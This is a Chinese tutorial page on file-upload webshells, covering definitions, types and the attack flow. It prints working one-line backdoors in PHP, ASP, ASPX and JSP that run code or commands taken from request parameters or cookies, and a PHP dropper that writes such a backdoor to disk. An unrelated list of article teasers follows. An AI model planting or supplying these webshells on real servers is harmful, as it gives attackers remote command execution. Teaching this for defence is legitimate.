文件上传-Webshell

Webshell简介

webshell就是以aspphpjsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页木马后门。
攻击者可通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件、查看数据库、执行命令等…

什么是木马

木马:全称“特洛伊木马( Trojan Horse )指寄宿在计算机里的一种非授权的远程控制程序,它可以在计算机管理员未发觉的请款下”,开放系统权限、泄露用户信息给攻击者,是黑客常用的工具之一。

什么是后门

后门:一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的“门”,每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下个后门

Webshell分类

1. 根据文件大小分类

一句话木马:代码简短,通常只有一行代码,使用方便
小马: 只包含文件上传功能,体积小
大马:体积大,包含很多功能,代码通常会进行加密隐藏

2.根据脚本类型分类

jsp
asp
aspx
php

Webshell特点

1.webshell大多以动态脚本形式出现
2.webshell就是一个asp或php木马后门
3.webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
4.webshell一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录

Webshell攻击流程

1.利用web漏洞获取web权限
2.上传小马
3.上传大马
4.远程调用webshell执行命令

常见Webshell

PHP:

<?php eval($_GET[pass]);?> <?php eval($_POST[pass]);?>

ASP:
<%eval request(“pass”)%>
ASPX:
<%@Page Language=“jscript”%><%eval(Request.ltem[“pass”])%>
JSP:
<%Runtime.getRuntime().exec(request.getParmeter(“i”));%>

Webshell基本原理

基本原理

1.可执行脚本
HTTP数据包( $_GET、 $_POST、 $_COOKIES)
2.数据传递
3.执行传递的数据
直接执行( eval、system、passthru )
文件包含执行 (include、require )
动态函数执行( $a = “phpinfo” ; $a() ; )
回调函数 ( array_map等 )

php webshell

GET方式:

<?php eval($_GET[pass]);?>

POST方式:

<?php eval($_POST[pass]);?>

Cookie方式:

<?php @$a=$_COOKIE[1];$b='';$c='';@assert($b.$a);?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以通过webshell来进行远程操作
在这里插入图片描述
在这里插入图片描述

一句话木马写小马

<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>'); ?>

当我们打开这个php网页的时候它就会生成这个木马
在这里插入图片描述
在这里插入图片描述
我们通过对文件内容二次base64编码对up.php编码一次
他就会生产上传文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

小马上传大马

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Webshell工具介绍

中国菜刀、cknife、weevely3、中国蚁剑、冰蝎等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/675625.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

洛谷 P1087 [NOIP2004 普及组] FBI 树

本文由Jzwalliser原创&#xff0c;发布在CSDN平台上&#xff0c;遵循CC 4.0 BY-SA协议。 因此&#xff0c;若需转载/引用本文&#xff0c;请注明作者并附原文链接&#xff0c;且禁止删除/修改本段文字。 违者必究&#xff0c;谢谢配合。 个人主页&#xff1a;blog.csdn.net/jzw…

【Docker】02 镜像管理

文章目录 一、Images镜像二、管理操作2.1 搜索镜像2.1.1 命令行搜索2.1.2 页面搜索2.1.3 搜索条件 2.2 下载镜像2.3 查看本地镜像2.3.1 docker images2.3.2 --help2.3.3 repository name2.3.4 --filter2.3.5 -q2.3.6 --format 2.4 给镜像打标签2.5 推送镜像2.6 删除镜像2.7 导出…

面试高频知识点:2线程 2.1.5如何自定义实现一个线程池

在Java中&#xff0c;线程池是一种用于管理线程的机制&#xff0c;它可以有效地管理多个线程并且可以重复使用它们&#xff0c;从而减少了线程创建和销毁的开销&#xff0c;提高了线程的利用率。本文将介绍如何自定义实现一个简单的线程池&#xff0c;并提供相应的Java代码示例…

IP代理在网络中解决了哪些问题?代理IP使用时效是什么意思?

随着互联网的普及和发展&#xff0c;IP代理作为一种网络工具&#xff0c;被广泛应用于各种场景。IP代理的使用可以解决很多网络中的问题&#xff0c;提高网络访问的速度和安全性。本文将详细介绍IP代理在网络中解决的问题&#xff0c;以及代理IP使用时效的含义。 一、IP代理在网…

Unity入门学习

目录 Unity环境搭建Unity引擎是什么软件下载和安装工程文件夹 Unity界面基础Scene场景和Hierarchy层级窗口Game游戏和Project工程Inspector和Console工具栏和父子关系 Unity工作原理反射机制和游戏场景预设体和资源包的导入导出 Unity脚本基础脚本基本规则生命周期函数Inspecto…

react中的diff算法

diff算法 对于React团队发现在日常开发中对于更新组件的频率&#xff0c;会比新增和删除的频率更高&#xff0c;所以在diff算法里&#xff0c;判断更新的优先级会更高。对于Vue2的diff算法使用了双指针&#xff0c;React的diff算法没有使用双指针&#xff0c;是因为更新的jsx对…

第三十天| 51. N皇后

Leetcode 51. N皇后 题目链接&#xff1a;51 N皇后 题干&#xff1a;按照国际象棋的规则&#xff0c;皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题 研究的是如何将 n 个皇后放置在 nn 的棋盘上&#xff0c;并且使皇后彼此之间不能相互攻击。 给你一个整…

Windows10安装VScode + mingw64 + GSL

这里写自定义目录标题 安装VScode安装 MingW64测试C/C环境 安装msys安装GSL配置VScodelaunch.json创建tasks.json配置c_cpp_properties.json 测试验证其他可参考 安装VScode 在官网下载VScode:VScode按导引步骤安装VScode&#xff0c;并选择自己想安装的位置创建自己的工作区&…

three.js 箭头ArrowHelper的实践应用

效果&#xff1a; 代码&#xff1a; <template><div><el-container><el-main><div class"box-card-left"><div id"threejs" style"border: 1px solid red"></div></div></el-main></…

【芯片设计- RTL 数字逻辑设计入门 15 -- 函数实现数据大小端转换】

文章目录 函数实现数据大小端转换函数语法函数使用的规则Verilog and Testbench综合图VCS 仿真波形 函数实现数据大小端转换 在数字芯片设计中&#xff0c;经常把实现特定功能的模块编写成函数&#xff0c;在需要的时候再在主模块中调用&#xff0c;以提高代码的复用性和提高设…

Qt PCL学习(文章链接汇总)

Qt PCL学习&#xff08;一&#xff09;&#xff1a;环境搭建 Qt PCL学习&#xff08;二&#xff09;&#xff1a;点云读取与保存 Qt PCL学习&#xff08;三&#xff09;&#xff1a;点云滤波 持续更新中…

Unity3d Shader篇(六)— BlinnPhong高光反射着色器

文章目录 前言一、BlinnPhong高光反射着色器是什么&#xff1f;1. BlinnPhong高光反射着色器的工作原理2. BlinnPhong高光反射着色器的优缺点优点缺点 3. 公式 二、使用步骤1. Shader 属性定义2. SubShader 设置3. 渲染 Pass4. 定义结构体和顶点着色器函数5. 片元着色器函数 三…

图文并茂讲解Travelling Salesman

题目 思路 一道lca板子题&#xff0c;不会的同学可以先康康 详解最近公共祖先(LCA)-CSDN博客 我们可以发现&#xff0c;商人是从1开始&#xff0c;旅行到第一个城镇&#xff0c;再到第二个&#xff0c;第三个…… 那么我们只需要求出1~第一个城镇的距离&#xff0c;第一个城…

go语言实现LRU缓存

go语言实现LRU Cache 题目描述详细代码 题目描述 设计和构建一个“最近最少使用”缓存&#xff0c;该缓存会删除最近最少使用的项目。缓存应该从键映射到值(允许你插入和检索特定键对应的值)&#xff0c;并在初始化时指定最大容量。当缓存被填满时&#xff0c;它应该删除最近最…

Elasticsearch(ES) 简述请求操作索引下文档 增删查改操作

上文 Elasticsearch(ES) 创建带有分词器规则的索引 带着大家创建了一个带有分词功能的索引 老规矩 我们启动一下ES服务 本文 我们就来说说 关于文档的操作 我们先来添加一个文档 就像数据库加一条数据一样 这里 并不需要指定什么表结构和数据结构 它的文档结构是无模式的 添…

为什么有人不推荐选择网络安全行业?

很多人是这样了解网络安全专业的&#xff1a; 专业就业面窄&#xff0c;市场需求量小。网络空间安全主要是从事网络安全方面的工作&#xff0c;就业面窄。它和软件工程、计算机科学与技术等专业不一样&#xff0c;后者毕业可以从事软件开发或者大数据等方面的工作。而网络安全就…

Redis——缓存的持久化

1、持久化机制 Redis的所有数据都保存在内存中&#xff0c;如果没有配置持久化功能&#xff0c;Redis重启后数据就会全部丢失&#xff0c;所以需要开启Redis的持久化功能&#xff0c;将数据保存到磁盘上&#xff0c;这样当Redis重启后&#xff0c;可以从磁盘中恢复数据。Redis…

【JS逆向六】(下)逆向解密某网站返回的密文的值 仅供学习

逆向日期&#xff1a;2024.02.07 使用工具&#xff1a;Node.js 文章全程已做去敏处理&#xff01;&#xff01;&#xff01; 【需要做的可联系我】 可使用AES进行解密处理&#xff08;直接解密即可&#xff09;&#xff1a;在线AES加解密工具 1、打开某某网站(请使用文章开头的…

使用深度学习对视频进行分类

目录 加载预训练卷积网络 加载数据 将帧转换为特征向量 准备训练数据 创建 LSTM 网络 指定训练选项 训练 LSTM 网络 组合视频分类网络 使用新数据进行分类 辅助函数 此示例说明如何通过将预训练图像分类模型和 LSTM 网络相结合来创建视频分类网络。 要为视频…

Android:自定义控件

3.16自定义控件 1.自定义VIEW组件 创建CustomizeView,继承View。重写onDraw方法,通过onDraw方法绘制我们自定义的图像、位图、路径等。 示例: //自定义绘制View public class CutomizeView extends View {//构造方法public CutomizeView(Context context) {super(context…